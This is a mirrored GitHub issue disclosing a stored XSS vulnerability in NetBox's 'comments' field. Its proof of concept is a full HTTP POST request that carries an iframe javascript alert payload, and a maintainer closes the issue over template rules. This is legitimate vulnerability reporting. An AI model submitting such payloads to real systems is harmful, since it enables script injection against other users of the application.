[BUG] Xss Stored #2842

Closed
opened 2025-12-29 18:22:43 +01:00 by adam · 2 comments
Owner

Originally created by @CloneAssassin on GitHub (Aug 30, 2019).

Netbox is vulnerable to stored XSS due to lack of filtration of user-supplied [Autenticated User]

Environment

  • Python version: 3.7.4
  • NetBox version: 2.6.1 -2.6.2

Parameter:
name="comments" [ works on all pages where the parameter is present ]

PoC

`POST /dcim/sites/add/ HTTP/1.1
Host: xxx
User-Agent: xxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: xxx
Content-Type: multipart/form-data; boundary=---------------------------57052814523281
Content-Length: 2158
Connection: close
Cookie: csrftoken=xxx; sessionid=xxx
Upgrade-Insecure-Requests: 1

-----------------------------57052814523281
Content-Disposition: form-data; name="csrfmiddlewaretoken"

xxxx
-----------------------------57052814523281
Content-Disposition: form-data; name="name"

xxx
-----------------------------57052814523281
Content-Disposition: form-data; name="slug"

xxx
-----------------------------57052814523281
Content-Disposition: form-data; name="status"

2
-----------------------------57052814523281
Content-Disposition: form-data; name="region"

-----------------------------57052814523281
Content-Disposition: form-data; name="facility"

-----------------------------57052814523281
Content-Disposition: form-data; name="asn"

-----------------------------57052814523281
Content-Disposition: form-data; name="time_zone"

-----------------------------57052814523281
Content-Disposition: form-data; name="description"

-----------------------------57052814523281
Content-Disposition: form-data; name="tenant_group"

-----------------------------57052814523281
Content-Disposition: form-data; name="tenant"

-----------------------------57052814523281
Content-Disposition: form-data; name="physical_address"

-----------------------------57052814523281
Content-Disposition: form-data; name="shipping_address"

-----------------------------57052814523281
Content-Disposition: form-data; name="latitude"

-----------------------------57052814523281
Content-Disposition: form-data; name="longitude"

-----------------------------57052814523281
Content-Disposition: form-data; name="contact_name"

-----------------------------57052814523281
Content-Disposition: form-data; name="contact_phone"

-----------------------------57052814523281
Content-Disposition: form-data; name="contact_email"

-----------------------------57052814523281
Content-Disposition: form-data; name="comments"

-----------------------------57052814523281
Content-Disposition: form-data; name="_create"

-----------------------------57052814523281--`

XssGit

Originally created by @CloneAssassin on GitHub (Aug 30, 2019). Netbox is vulnerable to stored XSS due to lack of filtration of user-supplied [Autenticated User] ### Environment * Python version: 3.7.4 * NetBox version: 2.6.1 -2.6.2 Parameter: name="comments" [ works on all pages where the parameter is present ] **PoC** `POST /dcim/sites/add/ HTTP/1.1 Host: xxx User-Agent: xxx Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: xxx Content-Type: multipart/form-data; boundary=---------------------------57052814523281 Content-Length: 2158 Connection: close Cookie: csrftoken=xxx; sessionid=xxx Upgrade-Insecure-Requests: 1 -----------------------------57052814523281 Content-Disposition: form-data; name="csrfmiddlewaretoken" xxxx -----------------------------57052814523281 Content-Disposition: form-data; name="name" xxx -----------------------------57052814523281 Content-Disposition: form-data; name="slug" xxx -----------------------------57052814523281 Content-Disposition: form-data; name="status" 2 -----------------------------57052814523281 Content-Disposition: form-data; name="region" -----------------------------57052814523281 Content-Disposition: form-data; name="facility" -----------------------------57052814523281 Content-Disposition: form-data; name="asn" -----------------------------57052814523281 Content-Disposition: form-data; name="time_zone" -----------------------------57052814523281 Content-Disposition: form-data; name="description" -----------------------------57052814523281 Content-Disposition: form-data; name="tenant_group" -----------------------------57052814523281 Content-Disposition: form-data; name="tenant" -----------------------------57052814523281 Content-Disposition: form-data; name="physical_address" -----------------------------57052814523281 Content-Disposition: form-data; name="shipping_address" -----------------------------57052814523281 Content-Disposition: form-data; name="latitude" -----------------------------57052814523281 Content-Disposition: form-data; name="longitude" -----------------------------57052814523281 Content-Disposition: form-data; name="contact_name" -----------------------------57052814523281 Content-Disposition: form-data; name="contact_phone" -----------------------------57052814523281 Content-Disposition: form-data; name="contact_email" -----------------------------57052814523281 Content-Disposition: form-data; name="comments" **<IFRAME SRC="javascript:alert('XSS');"></IFRAME>** -----------------------------57052814523281 Content-Disposition: form-data; name="_create" -----------------------------57052814523281--` ![XssGit](https://user-images.githubusercontent.com/53221919/64010298-c7e7f800-cb19-11e9-810d-f35472b82ecc.PNG)
adam closed this issue 2025-12-29 18:22:43 +01:00
Author
Owner

@DanSheps commented on GitHub (Aug 30, 2019):

This issue has been closed as it does not conform to one of the provided templates as required by the contributing guide. If you'd like to request that your issue be re-opened, please first update the content so that it matches the appropriate template (this may require rewriting your issue entirely).

@DanSheps commented on GitHub (Aug 30, 2019): This issue has been closed as it does not conform to one of the [provided templates](https://github.com/digitalocean/netbox/issues/new/choose) as required by the [contributing guide](https://github.com/digitalocean/netbox/blob/master/CONTRIBUTING.md). If you'd like to request that your issue be re-opened, please first update the content so that it matches the appropriate template (this may require rewriting your issue entirely).
Author
Owner

@CloneAssassin commented on GitHub (Aug 30, 2019):

@DanSheps waiting for your answer

@CloneAssassin commented on GitHub (Aug 30, 2019): @DanSheps waiting for your answer
Sign in to join this conversation.
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: starred/netbox#2842